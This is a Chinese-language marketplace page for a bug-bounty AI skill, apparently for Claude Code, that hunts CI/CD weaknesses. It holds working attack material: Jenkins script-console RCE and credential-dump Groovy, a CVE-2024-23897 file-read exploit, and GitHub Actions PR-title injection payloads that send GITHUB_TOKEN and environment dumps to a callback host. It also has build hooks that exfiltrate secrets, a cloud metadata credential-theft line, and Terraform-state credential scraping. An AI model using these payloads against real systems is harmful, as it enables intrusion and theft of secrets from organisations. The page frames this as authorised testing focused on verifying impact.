mcpField
H
hunt-cicd

hunt-cicd

github.com/uphiago安全1.3k40 次安装8 周前更新
代码仓库

关于 hunt-cicd

hunt-cicd 是面向渗透测试人员和漏洞赏金研究人员的 CI/CD 安全研究技能,介绍流水线注入、密钥泄露、Runner 风险、Jenkins 弱点及 Terraform 状态文件泄露的检查方法,并强调报告前验证实际影响。

主要功能

  1. 01Jenkins 控制台与 CLI 检查
  2. 02GitHub Actions 注入分析
  3. 03自托管 Runner 风险评估
  4. 04OIDC 信任策略审查
  5. 05CI 日志与制品密钥检查
  6. 06Terraform 状态文件暴露验证

适用场景

  1. 01审查 pull_request_target 工作流
  2. 02检查 Jenkins 是否存在预认证暴露
  3. 03审计公共仓库中的 Runner 行为
  4. 04验证状态文件中暴露的凭据

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-cicd

安装后在 Claude Code 中输入/hunt-cicd确认已加载。

详细介绍

HUNT-CICD — CI/CD 流水线安全

皇冠明珠目标

可访问 Jenkins /script 控制台 = 立即获得 RCE。GitHub Actions 中的 pull_request_target(或 workflow_run)工作流若检出 PR head ref,并在 shell run: 中引用不受信任的 ${{ github.event.* }},就会变成“Pwnrequest” → 无需任何审批,即可从 fork PR 窃取机密。

价值最高的发现:

  • Jenkins Script Console — Groovy 执行 → 完全 RCE → 转储凭据存储
  • Jenkins CLI 文件读取(CVE-2024-23897) — 未认证的 @/etc/passwd 参数展开 → 读取 secret.key/credentials.xml → 伪造管理员身份 → RCE
  • GitHub Actions pull_request_target 注入(Pwnrequest) — fork PR 可控制特权 shell 步骤中的 ${{ }} → 窃取 GITHUB_TOKEN(通常具有 contents:write 权限)和组织机密
  • 自托管 runner 投毒 — 公共仓库中的非临时 runner 执行 fork PR 的构建 → 攻击者代码在 runner 主机上运行 → 持久化 + 窃取机密
  • OIDC 信任策略滥用 — AWS IAM 角色信任策略中的 sub 声明通配符范围过宽 → 组织中的任何工作流都能担任特权云角色
  • Terraform 状态泄漏 — 公共 S3/GCS/Blob 中的 *.tfstate → 明文基础设施凭据、数据库密码、私钥
  • Runner 令牌 / 构件 / 日志泄漏 — 注册攻击者 runner,或窃取 ::add-mask:: 打码前输出的机密

“没有证据就不能声称”关卡(先读)

CI/CD 漏洞发现经常被过度报告,因为仪表板看起来似乎可利用。在声称发现任何问题前:

  1. 登录页面不等于 RCE。 可访问的 /script URL 若返回 Jenkins 登录页面或 403,就不是未认证脚本控制台。只有实际的 scriptText POST 返回你的命令输出,才算数。
  2. pull_request_target 工作流并非自动存在注入漏洞。 只有不受信任的数据流入执行接收点时,才可利用。确认数据流(参见误报部分)后,才能创建 PR。
  3. 盲注入需要带外验证。 如果你无法读取易受攻击步骤的输出,就必须通过 Burp Collaborator / interactsh 确认——使用每个接收点专属的子域名,由 runner 向其发起请求。工作流“运行成功”不能证明你的代码已执行。
  4. 只有解析 .tfstate 文件后,HTTP 200 才能算凭据暴露。 与基线进行比较(参见误报部分)——许多 tfstate 文件只包含资源 ID 和输出,不含机密。

阶段 1 — Jenkins:检测、脚本控制台、CVE-2024-23897

# Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)
curl --max-time 30 --connect-timeout 10 -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
curl --max-time 30 --connect-timeout 10 -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
  code=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
  echo "$p -> $code"   # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
done

未认证脚本控制台 → RCE(仅当 POST 返回输出时):

# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
# Crowd/SSO error page, the console is NOT anon-accessible — do not report it.
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/scriptText" \
  --data-urlencode 'script=println "id".execute().text'

转储凭据存储(Groovy 会解密 UI 隐藏的机密):

import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import org.jenkinsci.plugins.plaincredentials.StringCredentials
CredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials, jenkins.model.Jenkins.instance).each {
  println "${it.id} :: ${it.username} :: ${it.password}"
}
CredentialsProvider.lookupCredentials(StringCredentials, jenkins.model.Jenkins.instance).each {
  println "${it.id} :: ${it.secret}"
}

CVE-2024-23897 — 通过 Jenkins CLI 在认证前任意读取文件(args4j @ 文件展开;影响 ≤2.441 / LTS ≤2.426.2)。在允许匿名读取的情况下,可通过读取 secret.key + master.key 来解密 credentials.xml,或读取用户的 config.xml API 令牌,从而升级为 RCE:

# Download the matching jenkins-cli.jar from /jnlpJars/jenkins-cli.jar first.
java -jar jenkins-cli.jar -s "https://$TARGET/" -http connect-node "@/etc/passwd"
# The file content is echoed back in the error. Then target:
#   @/var/lib/jenkins/secret.key  @/var/lib/jenkins/secrets/master.key
#   @/var/lib/jenkins/credentials.xml

验证:响应必须包含真实文件内容(root:x:0:0)。若只返回通用的“no such agent”,且没有泄漏任何行,说明实例已打补丁或路径错误——不算漏洞发现。


阶段 2 — GitHub Actions:Pwnrequest、${{ }} 注入 Shell、Runner 投毒、OIDC

核心区别(90% 的错误概念验证都栽在这里)

有两类 sink,所需的载荷各不相同:

  • ${{ }} 模板展开到 shell run: 中 — 表达式会在 shell 运行之前替换到脚本中,因此不可信字段中的换行符、反引号或 $(...) 会变成字面的 shell 代码。这是经典的注入。
  • 在 shell 中读取环境变量 — GITHUB_TOKEN、secrets.X 和任何映射到 env: 的值都是 shell 变量,其值就是字符串。要泄露它们,应使用 echo/printenv,绝不要用 cat $VAR(这会尝试打开一个以令牌命名的文件,并且不会打印任何内容)。
# VULNERABLE workflow (untrusted title flows into the script text):
on: pull_request_target            # runs with write token + secrets, on fork PRs
jobs:
  build:
    steps:
      - uses: actions/checkout@v4
        with: { ref: ${{ github.event.pull_request.head.sha }} }   # checks out ATTACKER code
      - run: echo "Building PR ${{ github.event.pull_request.title }}"   # ← ${{ }} INJECTION

通过 ${{ }} sink 发起攻击 — 将 PR 标题(或分支名、正文、标签、提交消息——这些都由攻击者控制)设置为跳出 echo 并运行你自己的命令。使用 printenv 而非 cat 来泄露令牌:

PR title:  a"; printenv GITHUB_TOKEN | base64 | tr -d '\n' | { read T; curl "https://x.<COLLAB>/?t=$T"; }; echo "

对于多行 YAML run:,注入换行符更简洁:

PR title:  foo\n      curl https://x.<COLLAB>/?d=$(printenv | base64 -w0)

通过投毒的 checkout 发起攻击(无需 ${{ }}) — 如果 pull_request_target checkout 了 PR head,然后运行构建脚本/安装 checkout 树中的依赖项(例如 make、带恶意 preinstall 的 npm ci、Makefile,或 PR 中的 .github/ action),那么运行器会直接执行攻击者代码。将恶意代码放入任意构建钩子:

# in attacker's PR, e.g. package.json preinstall or Makefile:
curl --max-time 30 --connect-timeout 10 -s "https://x.<COLLAB>/?env=$(printenv | base64 -w0)"
cat /proc/self/environ | tr '\0' '\n' | base64 -w0   # captures secrets injected as env

自托管运行器投毒 — 如果公开仓库在 pull_request/pull_request_target 中使用 runs-on: self-hosted(或自定义标签),fork PR 的作业就会在组织自己的主机上运行。非临时运行器会在作业之间保留工具/凭据。可在作业内部读取运行器的身份和元数据来确认:

- run: |
    whoami; hostname; id
    curl --max-time 30 --connect-timeout 10 -s "https://x.<COLLAB>/?h=$(hostname)&u=$(whoami)"
    curl -s "https://x.<COLLAB>/imds=$(curl -s --max-time 2 --connect-timeout 2 http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/ | base64 -w0)"

滥用 OIDC 信任策略 — 使用 configure-aws-credentials 通过 OIDC 承担 IAM 角色的工作流,如果信任策略缺少 token.actions.githubusercontent.com:sub 条件,或使用宽松的通配符(repo:ORG/*:*),那么组织中的任何工作流(包括你可以合并的恶意工作流,或由配置错误的触发器启动的 fork 工作流)都可以承担该角色。检查该角色:

aws iam get-role --role-name <RoleName> --query 'Role.AssumeRolePolicyDocument'
# Red flag: StringLike on sub with "repo:ORG/*" or no sub condition at all (only aud).

然后证明影响:在组织内由你控制的工作流中承担该角色,并运行 aws sts get-caller-identity,使其返回特权角色 ARN。

侦察
# Enumerate org workflows that use the dangerous triggers
gh api graphql -f query='{organization(login:"ORG"){repositories(first:100){nodes{name}}}}' \
  | jq -r '.data.organization.repositories.nodes[].name' | while read r; do
  for wf in $(gh api "repos/ORG/$r/contents/.github/workflows" 2>/dev/null | jq -r '.[]?.name'); do
    body=$(gh api "repos/ORG/$r/contents/.github/workflows/$wf" 2>/dev/null | jq -r '.content' | base64 -d)
    echo "$body" | grep -Eq 'pull_request_target|workflow_run' && \
      echo "$body" | grep -Eq '\$\{\{ *github\.event|self-hosted|head\.ref|head\.sha' && \
      echo "CANDIDATE: ORG/$r/$wf"
  done
done

在创建任何 PR 之前,先用静态分析器筛选候选项:gh extension install rhysd/actionlint 或运行 zizmor(pip install zizmor; zizmor .github/workflows/),它会专门标记模板注入和危险 checkout 模式。


第 3 阶段 — 日志和制品中的密钥

# Public-repo run logs frequently contain secrets printed BEFORE ::add-mask:: took effect,
# or echoed via debug. The masker only hides exact known values — derived/base64 forms slip through.
gh api "repos/ORG/REPO/actions/runs" | jq -r '.workflow_runs[:20][].id' | while read id; do
  gh api "repos/ORG/REPO/actions/runs/$id/logs" > /tmp/r.zip 2>/dev/null && \
  unzip -o -q /tmp/r.zip -d /tmp/runlogs && \
  grep -rniE 'AKIA[0-9A-Z]{16}|ghp_[A-Za-z0-9]{36}|-----BEGIN|eyJ[A-Za-z0-9_-]{10,}\.' /tmp/runlogs
done

# Artifacts — env dumps, .env, kubeconfig, built binaries with embedded secrets
gh api "repos/ORG/REPO/actions/artifacts" | jq -r '.artifacts[] | "\(.id) \(.name)"'

请注意,actions/upload-artifact 不会对密钥进行脱敏 — 名为 env/debug 的制品是常见的直接泄露途径。


第 4 阶段 — GitLab CI

# Runner registration token → register an attacker runner that picks up jobs (and their secrets).
# Found in config.toml (via LFI/disclosure), screenshots, /admin/runners, or leaked CI logs.
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/v4/projects/PID/variables" -H "PRIVATE-TOKEN: $TOK"   # masked? protected?
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/v4/runners?type=instance_type" -H "PRIVATE-TOKEN: $TOK"

# .gitlab-ci.yml review: unmasked variables, `CI_JOB_TOKEN` over-permission,
# `rules:` that run privileged jobs on MRs from forks (the GitLab analogue of pull_request_target).
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/v4/projects/PID/repository/files/.gitlab-ci.yml/raw?ref=main"

仅有注册令牌不算发现,除非该实例允许使用该令牌注册一个运行目标项目流水线的运行器。可通过注册一个由你控制的临时运行器,并捕获某个作业的脱敏变量来证明。


第 5 阶段 — Terraform 状态泄露

# Probe common public-bucket/path patterns (parameterize $T and $ORG)
for U in \
  "https://$ORG.s3.amazonaws.com/terraform.tfstate" \
  "https://s3.amazonaws.com/$ORG-tfstate/terraform.tfstate" \
  "https://$ORG-infra.s3.amazonaws.com/env/prod/terraform.tfstate" \
  "https://storage.googleapis.com/$ORG-tfstate/default.tfstate" \
  "https://$ORG.blob.core.windows.net/tfstate/terraform.tfstate" ; do
  code=$(curl --max-time 30 --connect-timeout 10 -s -o /tmp/tf.json -w "%{http_code}" "$U")
  [ "$code" = "200" ] && echo "[+] 200 $U" && \
    jq -r '.resources[].instances[].attributes
           | to_entries[] | select(.key|test("password|secret|private_key|token|access_key";"i"))
           | "\(.key) = \(.value)"' /tmp/tf.json 2>/dev/null
done
# Also hunt state in repos / backend configs
gh search code --owner ORG "terraform.tfstate" --limit 10
gh search code --owner ORG 'backend "s3"' --limit 10

误报筛选: 仅列出 id、arn、tags 的 tfstate 不属于密钥泄露。运行上面的 jq,并确认至少存在一个有效凭据(真实的 password、private_key、RDS 主密码,或尚未轮换的访问密钥)。然后使用该凭据进行只读操作来证明影响(aws sts get-caller-identity、能返回 banner 的数据库连接)——不要只是声称“状态中有凭据”。


第 6 阶段 — 构建制品/镜像分析

docker pull ORG/IMAGE:latest
docker history --no-trunc ORG/IMAGE:latest | grep -iE 'ENV|ARG|secret|token|password|key'
# Layer-level scan catches secrets removed in a later layer but still present in history:
trufflehog docker --image ORG/IMAGE:latest --only-verified

--only-verified 会筛选出 trufflehog 实际能够验证的凭据 — 使用它可在报告前排除过期/示例密钥带来的噪声。


有依据的参考资料(具名案例 / CVE)

  • Pwnrequest / pull_request_target 类 — GitHub Security Lab(Jaroslav Lobačevski),《确保 GitHub Actions 和工作流安全:不可信输入》。关于 fork PR 密钥窃取和危险 checkout 模式的原始文章。
  • GitHub Actions 工作流命令注入 — CVE-2020-15228 — set-env/add-path 工作流命令允许从日志输出注入环境变量/PATH;这促使这些命令被弃用,并改用 $GITHUB_ENV。
  • Jenkins CLI 任意文件读取 — CVE-2024-23897 — args4j 的 @ 前缀文件展开(Jenkins ≤2.441 / LTS ≤2.426.2),读取 secret.key/credentials.xml → 管理员权限 → RCE。
  • Jenkins Stapler RCE — CVE-2018-1000861 — 动态路由可访问 groovy.lang.GroovyShell;这是较旧 Jenkins 上未认证脚本执行链中的典型案例。
  • PortSwigger / Liam Galvin 等人 — 关于 GitHub Actions 注入点(标题/分支/正文/标签)以及 ${{ }} 注入 run 的模板替换攻击向量的研究;这是上文所引 actionlint/zizmor 检测规则的依据。

(仅列出我能准确归因的 CVE 和案例。声称存在漏洞前,请确认正在运行的版本是否处于 CVE 的受影响范围内。)


攻击链表

CI/CD 发现攻击链影响
Jenkins 匿名脚本控制台导出凭据存储 → 云/DB 凭据 → 横向移动严重
Jenkins CLI 文件读取(CVE-2024-23897)读取 secret.key+credentials.xml → 伪造管理员身份 → RCE严重
Actions ${{ }} 注入(Pwnrequest)printenv GITHUB_TOKEN/密钥 → 推送到受保护分支严重
自托管运行器投毒在运行器主机上执行代码 → IMDS 凭据 → 持久化严重
OIDC sub 通配符从任意组织工作流 AssumeRole 获取特权云角色严重
包含有效凭据的 Terraform 状态使用基础设施/DB/API 凭据严重
GitLab 运行器注册注册运行器 → 获取流水线密钥高/严重
镜像/日志/制品中的密钥直接使用凭据高

验证规范(每项发现报告前都应遵守)

  • Jenkins 控制台: scriptText POST 会返回你的 id 输出(uid=…(jenkins))。如果返回的是登录/SSO/Crowd 页面,则不是匿名访问。截取请求和响应的屏幕截图。
  • CVE-2024-23897: 响应包含真实的 /etc/passwd 内容;确认版本处于受影响范围内。已修补的实例会返回错误,不会泄露任何行。
  • Actions 注入: 首先确认数据流入了一个汇点(参见 FP 部分)。盲注步骤必须收到 Collaborator 回调,且来源 IP 为运行器 IP。通过 printenv//proc/self/environ 窃取令牌,并在你的端点解码——切勿执行 cat $GITHUB_TOKEN。
  • OIDC 滥用: 从你控制的工作流运行 aws sts get-caller-identity,返回特权角色 ARN;仅有看似宽松的信任策略还不够。
  • Terraform 状态: jq 提取出至少 1 个有效密钥,然后通过只读身份验证验证。仅包含 ID/ARN 的状态不构成发现。
  • 运行器令牌/镜像/日志: 证明该密钥可以通过身份验证(使用 trufflehog --only-verified,或进行真实 API 调用)——仅持有一个字符串不代表存在影响。
应撤回的常见误报
  • /script 返回登录页面(需要身份验证),却被报告为“未授权 RCE”。
  • 存在 pull_request_target,但不受信任的输入从未到达接收点(例如,仅在 if: 中用于检查 github.actor,或工作流使用的是 pull_request 而非 _target)。
  • ${{ }} 引用已包含在 env: 块中,并在 shell 中加引号(推荐的安全模式)——这不可注入。
  • .tfstate 返回 200,但其中仅包含资源元数据。
  • 被屏蔽的 GitLab 变量设置为 protected,且仅向攻击者无法推送代码的受保护分支公开。
  • Trufflehog 标记为“未验证”的命中项,其实是示例密钥或已过期密钥。

严重性: Jenkins 控制台 / CVE-2024-23897 / Actions 密钥泄露 / 运行器投毒 / OIDC 角色冒用 / Terraform 实时凭据 = 严重。图像/日志/构建产物中的密钥 = 高危/严重,具体取决于凭据的权限范围。


验证

运行此自测,以确认已准备好进行 CI/CD 排查:

  1. .git 暴露探测 — 确认 Git 路径语法: 通过:Git 路径语法 通过:Git HEAD 路径语法

  2. GitHub Actions 工作流检测 — 确认工作流路径: 通过:已识别工作流路径

  3. Jenkinsfile 检测 — 确认 Jenkinsfile 模式: 通过:已识别 Jenkinsfile 模式

全部 3 项测试均可验证 CI/CD 排查准备情况。


注意事项

  • 暴露 .git/config,但无法访问对象 — 访问 /.git/config 返回 200,只能证明仓库可访问;若无法访问 /.git/objects/,就无法提取源代码。请同时测试这两个路径。
  • CI/CD 日志泄露 — 构建日志通常包含密钥(API 密钥、令牌),但只有经过身份验证的用户才能查看。请测试匿名和已验证身份的访问。
  • 未能证明执行的流水线注入 — 向流水线 YAML 或 Jenkinsfile 注入内容,并不能证明其已执行。需要确认流水线确实运行了你的代码。
  • GitHub Actions workflow_dispatch — 如果操作包含 workflow_dispatch 触发器,就可以通过 API 触发。请检查触发器是否仅限特定分支或用户使用。
  • 容器仓库配置错误 — 公开的容器镜像可能包含构建密钥、源代码或凭据。务必拉取镜像并检查各层。
  • 跨构建的构建产物投毒 — 如果构建产物的存储未按构建隔离,前一次构建的产物可能会提供给下一次构建。
  • 被屏蔽的 CI/CD 变量 — 在 heredoc 中记录被屏蔽的变量,或将其进行 Base64 编码,仍会导致变量泄露。请测试能够绕过屏蔽的输出格式。

评论

支持 Markdown